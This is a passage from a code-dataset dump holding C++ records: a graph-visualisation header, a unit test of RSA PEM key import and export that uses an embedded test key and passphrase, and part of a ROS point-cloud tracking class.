"plugins/miner_plugin/test/test.cpp", "max_issues_repo_name": "celes-dev/celesos", "max_issues_repo_head_hexsha": "b2877d64915bb027b9d86a7a692c6e91f23328b0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "plugins/miner_plugin/test/test.cpp", "max_forks_repo_name": "celes-dev/celesos", "max_forks_repo_head_hexsha": "b2877d64915bb027b9d86a7a692c6e91f23328b0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.2153846154, "max_line_length": 93, "alphanum_fraction": 0.6324476651, "num_tokens": 1129, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230157, "lm_q2_score": 0.28457599814899737, "lm_q1q2_score": 0.1467330521823791}}
{"text": "#ifndef RINNE_HPP\n#define RINNE_HPP\n\n#include <sys/time.h>\n\n#include <string>\n\n#include <boost/thread.hpp>\n#include <boost/thread/barrier.hpp>\n\nstruct rn_quaternion {\n    double w;\n    double i, j, k;\n};\n\nstruct rn_uv {\n    double u, v;\n};\n\nstruct rn_vec {\n    double x, y, z;\n};\n\nstruct rn_pos {\n    double theta; // latitude, 0 ... pi\n    double phi;   // longitude, 0 ... 2 pi\n};\n\nstruct rn_node;\n\nstruct rn_edge {\n    rn_node *src;\n    rn_node *dst;\n    rn_edge *next;\n    rn_edge *bp_next;\n};\n\nstruct rn_node {\n    rn_pos   pos;\n    rn_edge *edge;\n    rn_edge *bp_edge;\n    int      num_edge;\n    int      num_bp_edge;\n};\n\nclass rinne {\npublic:\n    void read_dot(char *path);\n    rinne() : m_is_mouse_down(false),\n              m_is_fullscreen(false),\n              m_rotate_z(0.0),\n              m_rotate_x(0.0),\n              m_is_blink(1),\n              m_is_auto_rotate(1),\n              m_max_in_degree(0),\n              m_max_out_degree(0),\n              m_top_n(50),\n              m_top_idx(1),\n              m_factor_repulse(0.01),\n              m_factor_spring(0.01),\n              m_factor_step(1.0),\n              m_cycle(30.0),\n              m_score(0.0),\n              m_score_loop(0)\n    {\n        timeval tv;\n        gettimeofday(&tv, NULL);\n        m_init_sec = (double)tv.tv_sec + (double)tv.tv_usec * 0.000001;\n        m_prev_sec = m_current_sec = m_init_sec;\n    }\n\n    void on_mouse_down(int button, int x, int y);\n    void on_mouse_up(int button, int x, int y);\n    void on_mouse_move(int x, int y);\n    void on_keyboard(unsigned char key, int x, int y);\n    void on_resize(int w, int h);\n    void on_menu(int id);\n    void force_directed(int id);\n    void reduce_step() { m_factor_step *= 0.5; }\n    void inc_loop() { m_score_loop++; }\n    int  get_num_node() { return m_num_node; }\n    int  get_num_edge() { return m_num_edge; }\n    int  get_window_h() { return m_window_h; }\n    int  get_window_w() { return m_window_w; }\n    void set_score(double score) { m_score = score; }\n\n    void display();\n\nprivate:\n    int m_num_thread;\n    boost::thread  *m_thread;\n    boost::barrier *m_barrier;\n    rn_pos *m_pos_tmp;\n\n    bool m_is_mouse_down;\n    bool m_is_fullscreen;\n    int  m_mouse_x;\n    int  m_mouse_y;\n    int  m_window_w;\n    int  m_window_h;\n\n    double m_rotate_z;\n    double m_rotate_x;\n\n    int m_is_blink;\n    int m_is_auto_rotate;\n\n    int m_num_node;\n    int m_num_edge;\n\n    int m_max_in_degree;\n    int m_max_out_degree;\n\n    rn_node *m_node;\n    rn_edge *m_edge;\n    std::string *m_label;\n\n    rn_node **m_node_top;\n    int    m_top_n;\n    int    m_top_idx;\n\n    double m_factor_repulse;\n    double m_factor_spring;\n    double m_factor_step;\n    double m_init_sec;\n    double m_current_sec;\n    double m_prev_sec;\n    double m_cycle;\n    double m_score;\n    int    m_score_loop;\n\n    void init_pos();\n    void draw_node();\n    void draw_edge(double g, double b, double alpha);\n    void draw_label();\n    void draw_tau();\n    void draw_status();\n    void get_top_n();\n    void update_time();\n    void rotate_view();\n    void get_uv_vec(rn_vec &v, const rn_pos &a, const rn_pos &b);\n    void get_uv_vec_rand(rn_vec &v, const rn_pos &a);\n    void get_repulse_vec(rn_vec &uv, double psi);\n    void get_spring_vec(rn_vec &uv, double psi);\n    void get_color(double &g, double &b, double &alpha,\n                   double min_b, double max_b,\n                   double min_g, double max_g,\n                   double min_alpha, double max_alpha);\n};\n\n#endif // RINNE_HPP\n", "meta": {"hexsha": "b86e749efbe1801b45d458adb39e323c401240a2", "size": 3508, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "cpu-mt/rinne.hpp", "max_stars_repo_name": "ytakano/rinne", "max_stars_repo_head_hexsha": "5f2bf7ac96b6362ff6bd24024f866e91aec0bd9d", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2021-03-31T07:00:49.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-31T07:00:49.000Z", "max_issues_repo_path": "cpu-mt/rinne.hpp", "max_issues_repo_name": "ytakano/rinne", "max_issues_repo_head_hexsha": "5f2bf7ac96b6362ff6bd24024f866e91aec0bd9d", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "cpu-mt/rinne.hpp", "max_forks_repo_name": "ytakano/rinne", "max_forks_repo_head_hexsha": "5f2bf7ac96b6362ff6bd24024f866e91aec0bd9d", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2017-04-22T04:36:37.000Z", "max_forks_repo_forks_event_max_datetime": "2017-04-22T04:36:37.000Z", "avg_line_length": 23.0789473684, "max_line_length": 71, "alphanum_fraction": 0.6054732041, "num_tokens": 964, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5273165233795672, "lm_q2_score": 0.2782567937024021, "lm_q1q2_score": 0.14672940506189613}}
{"text": "#include \"../cryptography.hh\"\n\n#include <elle/cryptography/rsa/KeyPair.hh>\n#include <elle/cryptography/rsa/PublicKey.hh>\n#include <elle/cryptography/rsa/PrivateKey.hh>\n#include <elle/cryptography/rsa/Padding.hh>\n#include <elle/cryptography/rsa/pem.hh>\n#include <elle/cryptography/Oneway.hh>\n#include <elle/cryptography/Cipher.hh>\n#include <elle/cryptography/random.hh>\n#include <elle/cryptography/Error.hh>\n\n#include <elle/printf.hh>\n#include <elle/Error.hh>\n#include <elle/filesystem/TemporaryFile.hh>\n\n#include <boost/filesystem.hpp>\n\n#include <cstdio>\n#include <fstream>\n\n#include <unistd.h>\n\n/*----------.\n| Utilities |\n`----------*/\n\nstatic\nvoid\n_fill(boost::filesystem::path const& path,\n      std::string const& content = \"\")\n{\n  std::ofstream stream(path.generic_string(),\n                       std::ofstream::out);\n  stream << content;\n  stream.close();\n}\n\n/*--------.\n| Operate |\n`--------*/\n\n// One can generate this key through the following command:\n//\n//   $> ssh-keygen -t rsa -f output\n//\n// This will generate 'output' and 'output.pub' files.\n\nstd::string private_key(\nR\"PRIVATEKEY(-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\nDEK-Info: AES-128-CBC,BB839C89C20C17C5F7089433A3AB728C\n\n0O8JC+Y2hnAeS//NJGBKFdGVdTF34oS4J/nmSQ3JGRXmYQDx5Ixj0rqJRLNH9I45\nj0H9bGBycrtas6KbgpK5d4pwpy2wFnL5W9gSFAuyt5f/IMpvhtxo1/S+CnZPTEEU\nsfffhGnzkWNy7myyijCbIqoKTWh9AEtG+m8fayaFpgmQ0HqzXUkuPYE78PZbVg5b\nWb+cq0hrexIbQove2NbzYN0iTzr5DRnn6UWkE4ed45bynMMV+LzNaZAZ1CQppQQB\nib1mbmBPVCOSAz8TUKrH/PN4OwIvxyO6VlXf4Y8uXjy3xDDDih1w/68SUwv9v37O\nU20b27Pi31Ezv+SZmRhEvy6hq36MedbdbeCeYTYMVsZC/ePpx8XBtvRlhJkkLGlS\ncb2JtEd6Emch30ib9gtZkc/ywyNCNLZu/B6Mlc3VY6K4qWaxZBZu+pdUrw1os2xE\n1+yVLyF8FOSI14AN4POEPiT2HiETFnpqFN0Qh8Bm2A1TKnY4VMxnqp0emskaDAM2\nJB85+nh7K65WmMPwMtkjN1Q5Mh3D7DZzhtYQOUehWaon1PxCTiXhL0EiBQ2PhprC\nrAsbU5B9XV6rcVDD48DiDOGuXwt4fmczh4dpzTCPRds+6H4vuPS58ekeeOt9YMrX\nv3Zrs9VM7hnCFqRMS4MoqzZGcmX+I0PVuDAmYOZ5BWluxrIMxcltCZnAmOap7Ap2\nUmKfXOkX3FD+eibUt/7OS+EZf+phExwOCrUtckyN82SrJbpj5UtNao7O2KHie5qA\nXmwj7dUsBh/VsXy834elU4zdA+5GdNKbArEodxCJWQR7UtmV8sHGkjNGrvD5xocf\nowLlcKA726NBAQrX9eCrZ6NYYW5VenFN0O5UzFCZkziipMZOx5fBL7ixQIn+sQFF\n17E1l8r4y02GgzD+bmnhPemF+6aftaI3Lqg9cpQotd7SvRBEuYdkpYxpXnjJO5Ik\nVfoeiIadUVj0gUYUBsJtUN+84QhjJ14kP16FBGltT8qKp8DotP8dSSKebGv2znLj\nyKXQayPmJ+waN1T9w34yMpFq1O14C8f+mMN3gIOJEYrlLh7hYD9hjl4R1FobsBQp\nBcUFAXcJm1UT8gmObNE+mkasertpNYk+IU5+ONzF99rCdMcEWiioW9KtDJZBau5o\ngbv/L64YZkGCZOUBz2GFsAjN6M3wjZ2g5TLjPJsvLa5deilX2zcwmoBLe5zn+9Zs\naoXbqn1et1UC2e91zBCIRRM2Qt89iZwKck6Ezlp5s6qFn4MTtZ/mIJsq5dK07axU\nA/13vu0dOsx3FOBxlLq6RhfI5Pz1799Ulaf420iVC3l/SbpdX8zYaVI1opvZuasA\nATnBnK7/+rGj7h3BEvxrGubDz7CiLR1x8EpRF3pZfGN6itHH8zS79qpKfBcu6TlP\nd9p2wSK59YkJZTtmOKaBb+UxLxz/vE9TpdkYix+b4Jc5kzxncM3ONoG/pSfT9IaY\nQXlBOuwTPq2wfTW2gw3qmqhd8WxNYISLmlKf4UzQshI0inIDeJ8Q2CFWjLpEwL8z\nwNZmGhEhd9KiAbd0nY6M5dHgnXHZSwfY2fnePQ2v4UxsFCLgKNJ0fzSp+uktrY2u\n-----END RSA PRIVATE KEY-----)PRIVATEKEY\");\n\nstatic\nvoid\ntest_operate_import()\n{\n  std::string const passphrase = \"Sancho\";\n\n  // 1) Try to load the RSA private key with an incorrect\n  // passphrase 2) Load RSA private key in its encrypted form.\n  elle::filesystem::TemporaryFile path_private_key(\"path_private_key\");\n  _fill(path_private_key.path(), private_key);\n\n  // 1)\n  BOOST_CHECK_THROW(\n    elle::cryptography::rsa::pem::import_k(path_private_key.path(),\n                                              \"wrong passphrase\"),\n    elle::cryptography::Error);\n\n  // 2)\n  elle::cryptography::rsa::PrivateKey k =\n    elle::cryptography::rsa::pem::import_k(path_private_key.path(),\n                                              passphrase);\n  elle::cryptography::rsa::PublicKey K(k);\n\n  // Encrypt and decrypt data to make sure the keys are valid.\n  std::string const data(\"N'est pas Sancho qui veut!\");\n\n  elle::Buffer code = K.seal(data);\n  elle::Buffer plain = k.open(code);\n\n  BOOST_CHECK_EQUAL(data, plain.string());\n}\n\nstatic\nvoid\ntest_operate_export()\n{\n  elle::cryptography::rsa::KeyPair keypair =\n    elle::cryptography::rsa::keypair::generate(2048);\n\n  elle::filesystem::TemporaryFile path(\"path\");\n\n  std::string const passphrase = \"Dave\";\n\n  // Export keypair.\n  elle::cryptography::rsa::pem::export_keypair(\n    keypair,\n    path.path(),\n    passphrase,\n    elle::cryptography::Cipher::aes256,\n    elle::cryptography::Mode::cbc);\n\n  // 1) Try to re-import with wrong passphrase 3) Re-import private key.\n\n  // 1)\n  BOOST_CHECK_THROW(\n    elle::cryptography::rsa::pem::import_k(path.path(),\n                                              \"wrong passphrase\"),\n    elle::cryptography::Error);\n\n  // 2)\n  elle::cryptography::rsa::PrivateKey k =\n    elle::cryptography::rsa::pem::import_k(path.path(),\n                                              passphrase);\n\n  BOOST_CHECK_EQUAL(keypair.k(), k);\n\n  // Try to import only the public part of the key from a private key file\n  // which is encrypted.\n  BOOST_CHECK_THROW(\n    elle::cryptography::rsa::pem::import_K(path.path()),\n    elle::cryptography::Error);\n\n  // Extract the public key from the private key.\n  elle::cryptography::rsa::PublicKey K(k);\n\n  BOOST_CHECK_EQUAL(keypair.K(), K);\n}\n\nstatic\nvoid\ntest_operate()\n{\n  test_operate_import();\n  test_operate_export();\n}\n\n/*-----.\n| Main |\n`-----*/\n\nELLE_TEST_SUITE()\n{\n  boost::unit_test::test_suite* suite = BOOST_TEST_SUITE(\"rsa/pem\");\n\n  suite->add(BOOST_TEST_CASE(test_operate));\n\n  boost::unit_test::framework::master_test_suite().add(suite);\n}\n", "meta": {"hexsha": "78ad4637d86883a47bc157cff34be1eca732177b", "size": 5398, "ext": "cc", "lang": "C++", "max_stars_repo_path": "tests/elle/cryptography/rsa/pem.cc", "max_stars_repo_name": "infinitio/elle", "max_stars_repo_head_hexsha": "d9bec976a1217137436db53db39cda99e7024ce4", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 124.0, "max_stars_repo_stars_event_min_datetime": "2017-06-22T19:20:54.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-23T21:36:37.000Z", "max_issues_repo_path": "tests/elle/cryptography/rsa/pem.cc", "max_issues_repo_name": "infinitio/elle", "max_issues_repo_head_hexsha": "d9bec976a1217137436db53db39cda99e7024ce4", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 4.0, "max_issues_repo_issues_event_min_datetime": "2017-08-21T15:57:29.000Z", "max_issues_repo_issues_event_max_datetime": "2019-01-10T02:52:35.000Z", "max_forks_repo_path": "tests/elle/cryptography/rsa/pem.cc", "max_forks_repo_name": "infinitio/elle", "max_forks_repo_head_hexsha": "d9bec976a1217137436db53db39cda99e7024ce4", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 12.0, "max_forks_repo_forks_event_min_datetime": "2017-06-29T09:15:35.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-31T12:39:52.000Z", "avg_line_length": 30.156424581, "max_line_length": 74, "alphanum_fraction": 0.7463875509, "num_tokens": 2116, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.29098087851200094, "lm_q1q2_score": 0.14662706018817}}
{"text": "#include \"pctrackcontainer.h\"\n#include <Eigen/Eigenvalues>\n#include <Eigen/Geometry>\n\nPCTrackContainer::PCTrackContainer(int _maxFrame)\n    :TrackContainer<PCObject>::TrackContainer(_maxFrame)\n{\n    oldCnt = 0;\n    isUpdated = 1;\n}\n\nPCTrackContainer::PCTrackContainer()\n    :TrackContainer<PCObject>::TrackContainer(1000)\n{\n    oldCnt = 0;\n    isUpdated = 1;\n}\n\nvoid PCTrackContainer::iros2014()\n{\n    // hand avg : 107, 88, 82\n    // black avg : 36, 35, 42\n    // white avg : 216, 218, 232\n    double avg;\n    int kind;\n    int cnt[3]; // 0: black, 1: white, 2: hand\n    int error=0;\n    int total=0;\n\n    double ref[3];\n    ref[0] = (36.1661 + 35.5952 + 42.2318) / 3.;\n    ref[1] = (216 + 217.127 + 231.618) / 3.;\n    ref[2] = (107.212 + 88.0612 + 82.3061) / 3.;\n    for(int i=0;i<numTracks();i++){\n        avg = 0.;\n        cnt[0] = cnt[1] = cnt[2] = 0;\n        int id = tracks.at(i)->id;\n        if(tracks.at(i)->lastFrame().time == currentT){\n            PCObject object;\n            object = tracks.at(i)->lastFrame().object;\n            total += object.points.size();\n            for(int j=0;j<object.points.size();j++){\n                int R = object.points.at(j).rgb[0];\n                int G = object.points.at(j).rgb[1];\n                int B = object.points.at(j).rgb[2];\n\n                double RGB = (R + G + B) / 3.;\n                avg += RGB;\n                if(fabs(RGB-ref[0]) <= fabs(RGB-ref[1]) && fabs(RGB-ref[0]) <= fabs(RGB-ref[2]))\n                    cnt[0] ++;\n                else if(fabs(RGB-ref[1]) <= fabs(RGB-ref[0]) && fabs(RGB-ref[1]) <= fabs(RGB-ref[2]))\n                    cnt[1] ++;\n                else if(fabs(RGB-ref[2]) <= fabs(RGB-ref[1]) && fabs(RGB-ref[2]) <= fabs(RGB-ref[0]))\n                    cnt[2] ++;\n            }\n\n            avg /= object.points.size();\n            if(fabs(avg-ref[0]) <= fabs(avg-ref[1]) && fabs(avg-ref[0]) <= fabs(avg-ref[2])){\n                kind = 0;\n                error += cnt[1] + cnt[2];\n            }\n            else if(fabs(avg-ref[1]) <= fabs(avg-ref[0]) && fabs(avg-ref[1]) <= fabs(avg-ref[2])){\n                kind = 1;\n                error += cnt[0] + cnt[2];\n            }\n            else if(fabs(avg-ref[2]) <= fabs(avg-ref[1]) && fabs(avg-ref[2]) <= fabs(avg-ref[0])){\n                kind = 2;\n                error += cnt[1] + cnt[0];\n            }\n        }\n        //        cout<<\"ID: \"<<id<<\" kind: \"<< kind<<\" total: \"<< total<<\" error: \"<< error<<endl;\n    }\n    cout<<total<<\"  \"<<error<<endl;\n\n    //    numTruePoints = 0;\n    //    numFalsePoints = 0;\n    //    numTotalPoints = 0;\n\n    //    for(int i=0;i<numTracks();i++){\n    //        if(tracks.at(i)->lastFrame().time == currentT){\n    //            PCObject object;\n    //            object = tracks.at(i)->lastFrame().object;\n    //            int numBlack = 0;\n    //            int numWhite = 0;\n    //            for(int j=0;j<object.points.size();j++){\n    //                Point point = object.points.at(j);\n    //                double avgrgb = (point.rgb[0]*3000 + point.rgb[1]*3000 + point.rgb[2]*3000) / 3;\n\n    //                if(avgrgb > 128) numWhite ++;\n    //                else numBlack ++;\n    //            }\n    //            if(numWhite > numBlack){\n    //                numTruePoints += numWhite;\n    //                numFalsePoints += numBlack;\n    //            }\n    //            else{\n    //                numTruePoints += numBlack;\n    //                numFalsePoints += numWhite;\n    //            }\n    //            numTotalPoints += object.points.size();\n    //        }\n    //    }\n}\n\nvoid PCTrackContainer::toPointCloudXYZI(Cloud &cloudOut)\n{\n    for(int i=0;i<numTracks();i++){\n        if(!isNewlyUpdated(i))  continue;\n        PCObject object;\n        object = tracks.at(i)->lastFrame().object;\n        int id = tracks.at(i)->id;\n        for(int j=0;j<object.points.size();j++){\n            PointT point;\n            point.x = object.points.at(j).pos[0];\n            point.y = object.points.at(j).pos[1];\n            point.z = object.points.at(j).pos[2];\n            point.r = r[id];\n            point.g = g[id];\n            point.b = b[id];\n            //                point.intensity = id;\n            cloudOut.points.push_back(point);\n        }\n    }\n}\n\nvoid PCTrackContainer::toPointCloudXYZI_model(Cloud &cloudOut)\n{\n    for(int i=0;i<numTracks();i++){\n        if(!isNewlyUpdated(i))  continue;\n        PCObject object;\n        object = tracks.at(i)->lastFrame().object;\n        int id = tracks.at(i)->id;\n        if(object.points_model.size() == 0){\n            PointT point;\n            point.x = point.y = point.y = 0;\n            point.r = point.g = point.b = 0;\n            point.a = 0;\n            cloudOut.points.push_back(point);\n        }\n        for(int j=0;j<object.points_model.size();j++){\n            PointT point;\n            point.x = object.points_model.at(j).pos[0];\n            point.y = object.points_model.at(j).pos[1];\n            point.z = object.points_model.at(j).pos[2];\n            point.r = r[id];\n            point.g = g[id];\n            point.b = b[id];\n            //                point.intensity = id;\n            cloudOut.points.push_back(point);\n        }\n    }\n}\n\nvisualization_msgs::Marker PCTrackContainer::toMarkerEdges()\n{\n    visualization_msgs::Marker edgeMarker;\n\n    edgeMarker.header.frame_id = \"/origin\";\n    edgeMarker.header.stamp = ros::Time();\n    edgeMarker.ns = \"edge\";\n    edgeMarker.id = 1;\n    edgeMarker.type = visualization_msgs::Marker::LINE_LIST;\n    edgeMarker.action = visualization_msgs::Marker::ADD;\n    edgeMarker.lifetime = ros::Duration(0);\n    edgeMarker.scale.x = 0.003;\n    edgeMarker.color.a = 1;\n    edgeMarker.color.r = 1;\n    edgeMarker.color.g = 0;\n    edgeMarker.color.b = 0;\n\n\n    for(int i=0;i<numTracks();i++){\n        if(tracks.at(i)->lastFrame().time == currentT){\n            PCObject object;\n            object = tracks.at(i)->lastFrame().object;\n            for(int j=0;j<object.edges.size();j++){\n                Point p = object.edges.at(j).u;\n                geometry_msgs::Point point;\n                point.x = p.pos[0];\n                point.y = p.pos[1];\n                point.z = p.pos[2];\n                edgeMarker.points.push_back(point);\n                p = object.edges.at(j).v;\n                point.x = p.pos[0];\n                point.y = p.pos[1];\n                point.z = p.pos[2];\n                edgeMarker.points.push_back(point);\n            }\n        }\n    }\n    return edgeMarker;\n}\n\n\nvisualization_msgs::MarkerArray PCTrackContainer::toMarkerGaussians()\n{\n    oldGaussiansId.clear();\n    double margin = 0.1;\n    double stepsize = 0.01;\n\n    visualization_msgs::MarkerArray gaussianMarkers;\n\n    int cnt = 0;\n    for(int i=0;i<numTracks();i++){\n        if(!isNewlyUpdated(i))  continue;\n        PCObject object;\n        object = tracks.at(i)->lastFrame().object;\n        int id = tracks.at(i)->id;\n        // make a gmm eval points of the object\n\n        cnt ++;\n        visualization_msgs::Marker gaussianMarker;\n        gaussianMarker.header.frame_id = \"/origin\";\n        gaussianMarker.header.stamp = ros::Time();\n        gaussianMarker.ns = \"gaussian\";\n        gaussianMarker.id = cnt;\n        oldGaussiansId.push_back(cnt);\n\n        Gaussian gaussian = object.gaussian;\n        gaussianMarker.type = visualization_msgs::Marker::SPHERE;\n        gaussianMarker.action = visualization_msgs::Marker::ADD;\n        gaussianMarker.lifetime = ros::Duration(0);\n        gaussianMarker.pose.position.x = gaussian.mean[0];\n        gaussianMarker.pose.position.y = gaussian.mean[1];\n        gaussianMarker.pose.position.z = gaussian.mean[2];\n\n        Eigen::Matrix3d cov3d;\n        for(int i=0;i<3;i++)\n            for(int j=0;j<3;j++)\n                cov3d(i,j)=gaussian.covariance(i,j);\n        Eigen::SelfAdjointEigenSolver<Eigen::Matrix3d> eigensolver(cov3d);\n        Eigen::Vector3d eigenvalues = eigensolver.eigenvalues();\n        Eigen::Matrix3d eigenvectors = eigensolver.eigenvectors();\n        Eigen::Matrix3d rotation;\n        // ordering\n        Eigen::Vector3d eigenvalues_ordered;\n        eigenOrdering(eigenvalues, eigenvectors, eigenvalues_ordered, rotation);\n\n        double m00 = rotation(0,0);\n        double m01 = rotation(0,1);\n        double m02 = rotation(0,2);\n        double m10 = rotation(1,0);\n        double m11 = rotation(1,1);\n        double m12 = rotation(1,2);\n        double m20 = rotation(2,0);\n        double m21 = rotation(2,1);\n        double m22 = rotation(2,2);\n\n        // euler z-y-x sequence from orientation metrix\n        double yaw = atan2(m10, m00);\n        double pitch = -atan2(m20 , sqrt(m00*m00+m10*m10-m20*m20));\n        double roll = atan2(sqrt(m12*m12+m02*m02), fabs(m22));\n        //        if(m22<0) roll = PI-roll;\n\n        if(m22>0 && m12<0 && m02>0) {\n            if(yaw<0 && pitch>0)\n                roll = -roll;\n            else roll = roll;\n        }\n        else if (m22>0 && m12>0 && m02>0) roll = -roll;\n        else if (m22<0 && m12>0 && m02<0){\n            if(yaw>0 && pitch<0) roll = roll;\n            else roll = -roll;\n        }\n        else if (m22<0 && m12<0 && m02<0) roll = -roll;\n\n\n        // euler z-y-x sequence to quaternion\n        double q0 = sin(yaw/2.)*sin(pitch/2.)*sin(roll/2.) + cos(yaw/2.)*cos(pitch/2.)*cos(roll/2.);\n        double q1 = 0. - sin(yaw/2.)*sin(pitch/2.)*cos(roll/2.) + cos(yaw/2.)*cos(pitch/2.)*sin(roll/2.);\n        double q2 = sin(yaw/2.)*cos(pitch/2.)*sin(roll/2.) + cos(yaw/2.)*sin(pitch/2.)*cos(roll/2.);\n        double q3 = sin(yaw/2.)*cos(pitch/2.)*cos(roll/2.) - cos(yaw/2.)*sin(pitch/2.)*sin(roll/2.);\n\n        gaussianMarker.pose.orientation.w = q0;\n        gaussianMarker.pose.orientation.x = q1;\n        gaussianMarker.pose.orientation.y = q2;\n        gaussianMarker.pose.orientation.z = q3;\n\n        gaussianMarker.frame_locked = 0;\n        // confidence interval:\n        // 95%: s=5.991,\n        // 99%: s=9.210\n        // 90%: s=4.605\n//        gaussianMarker.scale.x = sqrt(eigenvalues_ordered[0]*3)*2;\n//        gaussianMarker.scale.y = sqrt(eigenvalues_ordered[1]*3)*2;\n//        gaussianMarker.scale.z = sqrt(eigenvalues_ordered[2]*3)*2;\n\n        gaussianMarker.scale.x = sqrt(eigenvalues_ordered[0])*2;\n        gaussianMarker.scale.y = sqrt(eigenvalues_ordered[1])*2;\n        gaussianMarker.scale.z = sqrt(eigenvalues_ordered[2])*2;\n\n//        gaussianMarker.scale.x = 1;\n//        gaussianMarker.scale.y = 1;\n//        gaussianMarker.scale.z = 1;\n\n        gaussianMarker.color.a = 0.5;\n        gaussianMarker.color.r = ((double)r[id])/256;\n        gaussianMarker.color.g = ((double)g[id])/256;\n        gaussianMarker.color.b = ((double)b[id])/256;\n\n\n        gaussianMarkers.markers.push_back(gaussianMarker);\n    }\n    //    // delete markers\n    //    for(int i=0;i<oldCnt_gaussians;i++){\n    //        visualization_msgs::Marker delGauss;\n    //        delGauss.header.frame_id = \"/origin\";\n    //        delGauss.header.stamp = ros::Time();\n    //        delGauss.ns = \"gaussian\";\n    //        delGauss.id = i;\n    //        delGauss.type = visualization_msgs::Marker::SPHERE;\n    //        delGauss.action = visualization_msgs::Marker::DELETE;\n    //        gaussianMarkers.markers.push_back(delGauss);\n    //    }\n    //    oldCnt_gaussians = cnt;\n    return gaussianMarkers;\n}\n\nvisualization_msgs::MarkerArray PCTrackContainer::oldGaussians()\n{\n    visualization_msgs::MarkerArray gaussianMarkers;\n\n    // delete markers\n    for(int i=0;i<oldGaussiansId.size();i++){\n        visualization_msgs::Marker delGauss;\n        delGauss.header.frame_id = \"/origin\";\n        delGauss.header.stamp = ros::Time();\n        delGauss.ns = \"gaussian\";\n        delGauss.id = oldGaussiansId.at(i);\n        delGauss.type = visualization_msgs::Marker::SPHERE;\n        delGauss.action = visualization_msgs::Marker::DELETE;\n        gaussianMarkers.markers.push_back(delGauss);\n    }\n    return gaussianMarkers;\n}\n\nvisualization_msgs::MarkerArray PCTrackContainer::toMarkerIDs()\n{\n    oldTrackIDs.clear();\n    visualization_msgs::MarkerArray idMarkers;\n\n    int cnt = 0;\n    for(int i=0;i<numTracks();i++){\n        if(!isNewlyUpdated(i))  continue;\n        Point centroid = tracks.at(i)->lastFrame().object.getCentroid();\n        int id = tracks.at(i)->id;\n\n        stringstream strm;\n        string sID;\n        strm << id;\n        strm >> sID;\n\n        visualization_msgs::Marker trackID;\n        trackID.header.frame_id = \"/origin\";\n        trackID.header.stamp = ros::Time();\n        trackID.ns = \"id\";\n        trackID.id = id;\n        oldTrackIDs.push_back(id);\n        trackID.type = visualization_msgs::Marker::TEXT_VIEW_FACING;\n        trackID.action = visualization_msgs::Marker::ADD;\n        trackID.lifetime = ros::Duration(0);\n        trackID.pose.position.x = centroid.pos[0];\n        trackID.pose.position.y = centroid.pos[1];\n        trackID.pose.position.z = centroid.pos[2];\n        trackID.pose.orientation.x = 0.0;\n        trackID.pose.orientation.y = 0.0;\n        trackID.pose.orientation.z = 0.0;\n        trackID.pose.orientation.w = 1.0;\n        trackID.color.a = 1.0;\n        trackID.color.r = 1.0;\n        trackID.color.g = 1.0;\n        trackID.color.b = 1.0;\n        trackID.text = sID;\n        trackID.scale.z = 0.02;\n        //        trackID.\n        idMarkers.markers.push_back(trackID);\n    }\n    return idMarkers;\n}\n\nvisualization_msgs::MarkerArray PCTrackContainer::oldMarkerIDs()\n{\n    visualization_msgs::MarkerArray idMarkers;\n\n    // delete markers\n    for(int i=0;i<oldTrackIDs.size();i++){\n        visualization_msgs::Marker delId;\n\n        delId.header.frame_id = \"/origin\";\n        delId.header.stamp = ros::Time();\n        delId.ns = \"id\";\n        delId.id = oldTrackIDs.at(i);\n        delId.type = visualization_msgs::Marker::TEXT_VIEW_FACING;\n        delId.action = visualization_msgs::Marker::DELETE;\n\n        idMarkers.markers.push_back(delId);\n    }\n    return idMarkers;\n\n}\n\nvoid PCTrackContainer::eigenOrdering(const Eigen::Vector3d& values, const Eigen::Matrix3d& vectors, Eigen::Vector3d& values_ordered, Eigen::Matrix3d& vectors_ordered)\n{\n    if(values[0] > values[1] && values[0] > values[2]){\n        values_ordered[0] = values[0];\n        vectors_ordered(0,0) = vectors.col(0)[0];\n        vectors_ordered(1,0) = vectors.col(0)[1];\n        vectors_ordered(2,0) = vectors.col(0)[2];\n        if(values[1] > values[2]){\n            values_ordered[1] = values[1];\n            vectors_ordered(0,1) = vectors.col(1)[0];\n            vectors_ordered(1,1) = vectors.col(1)[1];\n            vectors_ordered(2,1) = vectors.col(1)[2];\n\n            values_ordered[2] = values[2];\n            vectors_ordered(0,2) = vectors.col(2)[0];\n            vectors_ordered(1,2) = vectors.col(2)[1];\n            vectors_ordered(2,2) = vectors.col(2)[2];\n        }\n        else{\n            values_ordered[1] = values[2];\n            vectors_ordered(0,1) = vectors.col(2)[0];\n            vectors_ordered(1,1) = vectors.col(2)[1];\n            vectors_ordered(2,1) = vectors.col(2)[2];\n\n            values_ordered[2] = values[1];\n            vectors_ordered(0,2) = vectors.col(1)[0];\n            vectors_ordered(1,2) = vectors.col(1)[1];\n            vectors_ordered(2,2) = vectors.col(1)[2];\n        }\n    }\n    else if(values[1] > values[0] && values[1] > values[2]){\n        values_ordered[0] = values[1];\n        vectors_ordered(0,0) = vectors.col(1)[0];\n        vectors_ordered(1,0) = vectors.col(1)[1];\n        